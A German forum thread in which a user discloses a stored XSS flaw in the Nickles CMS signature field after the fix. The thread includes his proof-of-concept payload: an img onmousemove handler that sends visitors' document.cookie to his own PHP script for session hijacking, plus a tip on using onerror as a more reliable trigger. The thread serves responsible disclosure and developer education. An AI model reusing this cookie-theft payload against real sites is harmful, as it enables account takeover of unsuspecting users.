Moinsen... Ich habe mal wieder eine Sicherheitslücke im Nickles CMS entdeckt, die in die kategorie GAU einzustufen wäre. Aus diesem grund will ich die natürlich nicht öffentlich melden. Wie ist das bei euch vorgesehen? Ein Kontaktformular wäre da vielleicht auch mal nicht unnütz :-)
Kritik und Fragen an Nickles 2.723 Themen, 23.157 Beiträge
Nanu, was macht denn mein auf "Otto-Normal" gestellter IE, wenn ich den Mauszeiger in Dein Banner halte, Du Schelm ;-)
Der FF reagiert nicht ganz so extrem, ist aber auch schärfer eingestellt.
Gruß - Kongking
----------------
richtig, genau darum gings. Ich habe Mike zeitgleich über das problem informiert, er hat bereits reagiert und ich habe den schadcode aus meiner sig entfernt. Er war dort platziert, um die praktische ausbeutung des bugs zu demonstrieren. Trotzdem wäre es schön wenn es für sowas einen bereich geben würde, in dem mitglieder nur schreibenden/bzw für eigene beiträge auch lesenden zugriff hätten, da man solche extrema aus verständlichen gründen nicht öffentlich posten kann oder sollte.
worum gehts denn??
ich hatte mir das mit 3 Browsern angeschaut und konnte nichts feststellen. Selbst im Quellcode war nichts zu finden...
mfg
chris
es gab eine XSS verwundbarkeit in den Signaturen. Dadurch war es möglich, die Session sowie die Logindaten jedes aufrufers einer Seite mit einem Beitrag eines Autors mit präparierter signatur(wtf was ein satz^^) zu stehlen.
Dies hatte ich auch praktisch demonstriert, eben indem ich meine signatur "präpariert" hatte. im prinzip war an das bild eine Javascript-zeile angeheftet, die per OnMouseMove Event getriggert wurde, und ein unsichtbares bild in den ersten Div-Container der Seite einfügte. der src dieses unsichtbaren bildes verwies auf ein PHP script und sendete per GET methode den Inhalt von document.cookie mit. Da das nickles CMS seine nutzer anhand der Cookies identifiziert(wenn man die cookies auf einen anderen Rechner kopiert, bleibt man an diesem anderen rechner eingelogged), konnte man auf diese weise die Session eines benutzers übernehmen. Solche Schwächen treten auch in mainstream-software immer wieder auf, Berühmte Beispiele sind zb PhpBB2,
in dem sich alle paar tage eine neue XSS Lücke findet.
Wer sich weiter für das Thema XSS interessiert, sei hierhin: http://de.wikipedia.org/wiki/Cross-Site_Scripting verwiesen.
konkret bedeutet dass, dass ein böswilliger benutzer alle benutzeraccounts nach belieben hätte übernehmen können.
Ich hoffe das geht soweit ok, nachdem die signaturen bereinigt wurden, da sich der bug jetzt nicht mehr ausnutzen lassen sollte. Wenn nicht bitte ich einen VIP/admin die kritischen stellen zu zensieren.
An Alle Webentwickler möchte ich an dieser stelle nocheinmal das Wort richten, wie wichtig das Prüfen von eingaben an PHP scripte ist, auch wenn es eben immer mal wieder sein kann, dass man etwas vergisst. Und viel Glück an die Nickles Redaktion beim finden einer neuen Lösung :-)
Hi Syn'Codes,
Dickes Dankeschön, dass du so aufmerksam bist, stellvertretend für alle anderen!
konkret bedeutet dass, dass ein böswilliger benutzer alle
benutzeraccounts nach belieben hätte übernehmen können.
Um das ein wenig einzugrenzen - "alle", das bedeutet, alle User, die irgendeinen Thread besuchen, in dem deine präparierte Signatur steht? Oder nur die, die mit der Maus über die besagte Stelle fahren und damit den Mouseover-Effekt auslösen? Das alles auch nur, wenn Javascript aktiviert ist?
Auf mich treffen diese Merkmale 100% zu, meine Accountdaten müsstest du jetzt haben :-/
(Für mein Online-Banking bei der Sparda-Bank habe ich aber eine andere PIN ;-))
Bitte um Nachsicht, falls meine Fragerei etwas unbedarft daherkommt, aber für einen Nicht-Webentwickler ist das alles schwer nachzuvollziehen, und ehrlich gesagt - ich bin ein bisschen geschockt, dass das alles so einfach ist. Okay - *war*, aber wer weiß, wann jemand die nächste Lücke entdeckt.
THX
Olaf
jeder der einen thread mit präparierter sig aufruft, und die maus bewegt. Da ich das ganze nur als Proof Of Concept implementiert habe, habe ich mich auf die schnelle für onmousemove entschieden.
Ursprünglich wollte ich nur meine sig ändern, dabei kam mir die idee, mal eine Javascript zeile zu implementieren, was vom CMS ausgefiltert wurde. daraufhin kam mir die idee, die zusatzattribute für das img tag zu verwenden, obwohl ich dachte, dass das cms diese ausfiltert, wie es bei regulären posts afaik auch geschieht. nun dem war nicht so, also machte ich mich dran das ganze zu implementieren. Im prinzip hätte ich jeden Handler, der hier (http://de.selfhtml.org/javascript/sprache/eventhandler.htm#onload) gelistet ist verwenden können(und auch mehrere zusammen), und im nachhinein kommt mir die idee, dass es sinnvoller gewesen wäre onerror zu verwenden und bei src für die sig einen ungültigen link zu verwenden(was den OnError auf jeden fall getriggert hätte). Dennoch ging es mir ja nur um eine demonstration, und ich wollte das ganze nicht unnötig komplex gestalten :-)
meine Accountdaten müsstest du jetzt haben :-/
theoretisch ja, praktisch nein. zwar habe ich die daten gelogged, allerdings habe ich nur meinen account verifiziert, die daten danach lediglich in ein verzeichnis für Mike verschoben und ihm per pn zugangsdaten für den Webspace geschickt, damit er sie selbst kontrollieren kann. Die Daten werden von meiner seite auch gelöscht, ich habe nicht vor diese zu (miss)brauchen (dann hätte ich mir die meldung auch gespart)
Das alles auch nur, wenn Javascript aktiviert ist?
Richtig, die Attacke basiert auf JS, allerdings ist(aufgrund der vielfältigen verwendung von JS code auf nickles.de) davon auszugehen, dass die seite keine benutzer hat, die JS deaktiviert haben.
und ehrlich gesagt - ich bin ein bisschen geschockt, dass das alles so einfach ist. Okay - *war*, aber wer weiß, wann jemand die nächste Lücke entdeckt.
die nächste lücke hab ich bei der durchsicht meiner Daten bereits entdeckt und gleich mitgemeldet. Laut Marcus Kosek wird dieser morgen behoben, und so lange will ich da nicht näher drauf eingehen(ich denke du verstehst warum)
Das wichtigste ist definitiv, dass den lesern dieses Threads klar wird, dass solche bugs sehr leicht entstehen, aber recht schwer zu fixen sind. auch andere Seiten sind von derartigen bugs betroffen
PS: Ich habe diesen Bug implementiert, weil ich letztens eine ähnliche schwäche in golem.de entdeckt hatte, diese auch meldete, aber niemand darauf reagiert hat(die lücke existiert bis dato, meldung liegt 2 Wochen zurück)
Kleines EDIT: Scheinbar interpretiert der IE das OnMouseMove nur wenn man über das bild fährt. Das grobe flackern, das kongking bemerkt hat, ist dem grottenlahmen IE-Renderer zu verdanken.
Widerspruch ;-)
Als ich mit dem IE mit dem Mauszeiger über dem Bild war, blieb dieses konstant,
dafür baute sich ganz unten auf der Seite (unter dem Copyright)ein Thumbnail nach dem anderen nebeneinander auf, solange ich mit der Maus auf dem Banner blieb. Die Thumnails waren ca 2x2 cm groß und ohne Inhalt(rotes Kreuz).
Geflackert hat es mit dem FF ohne Aufbau von Thumbnails.
Ich habe es eigentlich nur zufällig gemerkt, da ich mit dem IE unterwegs war,
die Maus beim Lesen auf dem Banner belassen hatte und dann das "Thumbnailkonzert" losging.
Wie auch immer, Danke auch von mir für das Aufzeigen solcher Probleme.
Gruß - Kongking
------------------
Moment Kongking - der Parameter, den SynCodes eingesetzt hat, heißt aber "onmousemove", d.h. eine x-beliebige Mausbewegung auf einer Seite mit seiner präparierten Signatur reicht schon aus. Mit Mouseover hat das demnach nichts zu tun?
CU
Olaf
Hallo Olaf, was Synthetik_codes da jetzt exakt gemacht hat, kann ich Dir auch nicht sagen,
dazu stecke ich zu wenig in der Materie.
Ich habe es wie gesagt zufällig bemerkt als ich mit dem IE die Threaderöffung las und dabei der Mauszeiger auf dem Banner lag und dann die Thunbnailladerei losging. Und das reproduzierbar erst dann, wenn der Mauszeiger auf dem Banner war.
Hab dann den IE geschlossen und bin mit dem FF rauf, auch hier komische Effekte, flackern der
Signatur und ebenfalls Aktivitäten in der Statuszeile.
Da bei Signaturen anderer User diese Effekte nicht auftraten hab ich mir zusammen mit dem Treadthema
meinen eigenen Reim gemacht --> Synthetic hat eine "Demo" mitgeliefert.
Das wars auch schon.
Gruß - Kongking
-------------------
dann will ich mal den quelltext meines "exploits" posten:(is ja nur eine zeile^^)
http://www.abload.de/img/sigt52d.jpg" onmousemove='java_script:document.getElementsByTagName("div")[0].innerHTML = document.getElementsByTagName("div")[0].innerHTML + ""'>" target="_blank" rel="nofollow">http://meinhostname.com/test.php?data="+escape(document.cookie)+"\">"'>
das hatte ich in meine signatur gesetzt. Sieht alles ein wenig kryptisch aus, vor allem da ich die '"' escapen musste um gültiges Javascript zu erhalten, aber im wesentlichen sieht es wie folgt aus:
<img
src="http://www.abload.de/img/sigt52d.jpg"
onmousemove=
java_script:document.getElementsByTagName("div")[0].innerHTML = document.getElementsByTagName("div")[0].innerHTML + ""'" target="_blank" rel="nofollow">http://meinhostname.com/test.php?data="+escape(document.cookie)+"\">"'
Was macht die Zeile? Sie sucht nach dem ersten div-tag(getElementsByTagName), und setzt deren Inhalt auf den bisherigen inhalt und addiert bei der gelegenheit lt;img src=\"" target="_blank" rel="nofollow">http://meinhostname.com/test.php?data="+escape(document.cookie)+"\">
hinzu. da die test.php nicht darauf gebinst war, ein gültiges bild zurückzugeben(zu faul unso) gab es die vielen Thumbnails die kongking entdeckt hat. wie man sieht wird an das php script der Parameter data angehängt. die funktion escape() sorgt dafür dass die cookies in eine gültige URL Syntax umgewandelt werden, und es keine probleme mit dem auslesen auf serverseite gibt
/*EDIT: Wie es scheint, filtert das nickles CMS das wort J A V A S C R I P T in diesem posting aus, daher habe ich alle vorkommen in java_script substituiert */
javascript
EDIT 2: Der leere Post über diesem bestätigt meine vermutung, das wort J A V A S C R I P T wird ausgefiltert.
Etwas Grundsätzliches, was ich sehr erstaunlich finde...
Meine Accountdaten sind doch nur für den Betreiber dieser Website bestimmt. Mit meinem Benutzernamen und Passwort kann mich Nickles.de als den Benutzer Olaf19 identifizieren, anhand dessen prüfen ob ich Premium-Mitglied bin oder Zugang zum VIP-Bereich habe etc. pp.
Andere User haben damit nichts, aber auch gar nichts zu tun. Wie kann es sein, dass der Einsatz von Javascript in einer User-Signatur solche Zugriffe auf die Datenbank erlaubt?
Mir kommt das gerade so vor, als könnte ich mit einem HBCI-Lesegerät an einen Geldautomaten gehen und damit alle Konto- und PIN-Daten der Automatenbenutzer abzapfen - oder so ähnlich :-o
CU - ein etwas ratloser
Olaf
So wie ich das als HMTLHTMMHL-laie verstanden habe wird "einfach" dein Cookie abgefragt..
is doch ganz einfach...
Hast du noch nie n artikel gelesen wie durch einen Pufferüberlauf unsignierte software auf einer Konsole lauffähig gemacht wird...
Tut Tut, Dieser Zug endet hier, Alle aussteigen ;-)
mfg
chris
Dass das "ganz einfach" geht, ist auch mein Eindruck. Ich bin nur etwas entsetzt darüber, dass das für Außenstehende überhaupt "abfragbar ist" - bzw. dass das System so bereitwillig Auskunft gibt, ohne zu fragen, ob die Abfrage von autorisierter Stelle (Admin) kommt oder von einem anderen User.
Fehlt nur noch, dass Syncie jetzt auch noch unsere Daten für den Fips-Bereich hat :-O
CU
Olaf
naja prinzipiell hat er die schon
Das Versäumnis liegt aber an ganz anderer stelle, Passwörter im Klartext auf dem Rechner geht mal überhaupt nicht. Wobei das mit Firefor ja auch sone Sache ist. Ein paar Minuten unbeobachtet an einem fremden rechner und man hat die wichtigsten Passwörter und Nutzernamen.
[Edit]
Firefox > Extras > Einstellungen > Datenschutz > einzelne Cookies > nickles.de > login
mfg
chris
Wenn du das Cookie im Firefox löschst, verhinderst du nur, dass ein Wildfremder der an deinem Rechner nickles.de aufruft, sofort eingeloggt ist (und das auch noch im Fips-Bereich :-o) Aber dann merkt er sich immer noch die Usernamen und Passwörter, so dass der "Unbefugte" die gelöschten Cookies gleich wieder neu schreiben lassen kann... UN und PW müsste man also mit löschen.
Seit neuestem gibt im Firefox ja auch einen "Privaten Modus"... ich weiß, der Safari kann das schon länger ;-)
CU
Olaf
genau deshalb gehe ich mit iPod und Phone auch nicht in den Fips. Reicht ja schon das der Finder meine Mails lesen könnte und so auch die Anforderung neuer Passwörter möglich wär.
mfg
chris
Auf die Lücke hatte ich vor Jahren schon hingewiesen und in Aktion demontriert, hat dfamals nur niemanden interessiert. Nun interessiert es anscheinend plötzlich... naja, ist nun auch egal und ich bin dann wieder weg.
Tut mir leid, Xaff - ich kann mich an diese Diskussion nicht mehr erinnern. Oder ich war gar nicht dabei, obwohl ich Nickles per RSS fast immer ziemlich konsequent mitverfolge.
Hast du noch einen Link zu dem Thread von damals?
THX
Olaf
Es gab keinen Thread, das hatte ich damals per Email mitgeteilt.
Deswegen postet man das in einem öffentlich zugänglichen Thread und schiebt dann auch gleich noch eine Bedienungsanleitung hinterher, so dass jeder geübte Freizeithacker gleich zu Werke gehen kann??!
Tse tse tse...
Gruss,
kds
da die lücke weg ist, sehe ich da kein grösseres problem. wie man eine XSS Attacke durchführt, ist kein geheimnis, anleitungen dazu liefert google zuhauf, teilweise so verständlich erklärt, dass ein grundschüler damit unfug treiben kann. Das schwierige an dieser art von Angriffen ist eher das finden verwundbarer elemente in Websites.
Im übrigen habe ich diesen Fred speziell als konstruktive Kritik eröffnet, eben weil ich anregen wollte, für zukünftige events dieser Art eine Schnittstelle im Nickles CMS einzurichten, damit man als user direkt und diskret derartige schwächen melden kann.
Warum ich das zeug hier erklärt habe? Nunja, nickles ist eine Community zwischen Leuten die was von IT verstehen und solchen die etwas von IT verstehen lernen wollen. (so sehe ich das). Da sich hier einige Privat und semiprofessionelle Webentwickler tummeln,kann man diesen bei der Gelegenheit die möglichen auswirkungen und angriffsmöglichkeiten aufzeigen, und ihnen somit noch näher legen, alle eingaben der User auf ihren Websites zu parsen.
Hi Synthetic codes,
an dieser Stelle auch hier noch mal vielen Dank für die Mitteilung. Denke wir haben
das Loch jetzt langsam im Griff,
Grüße,
Mike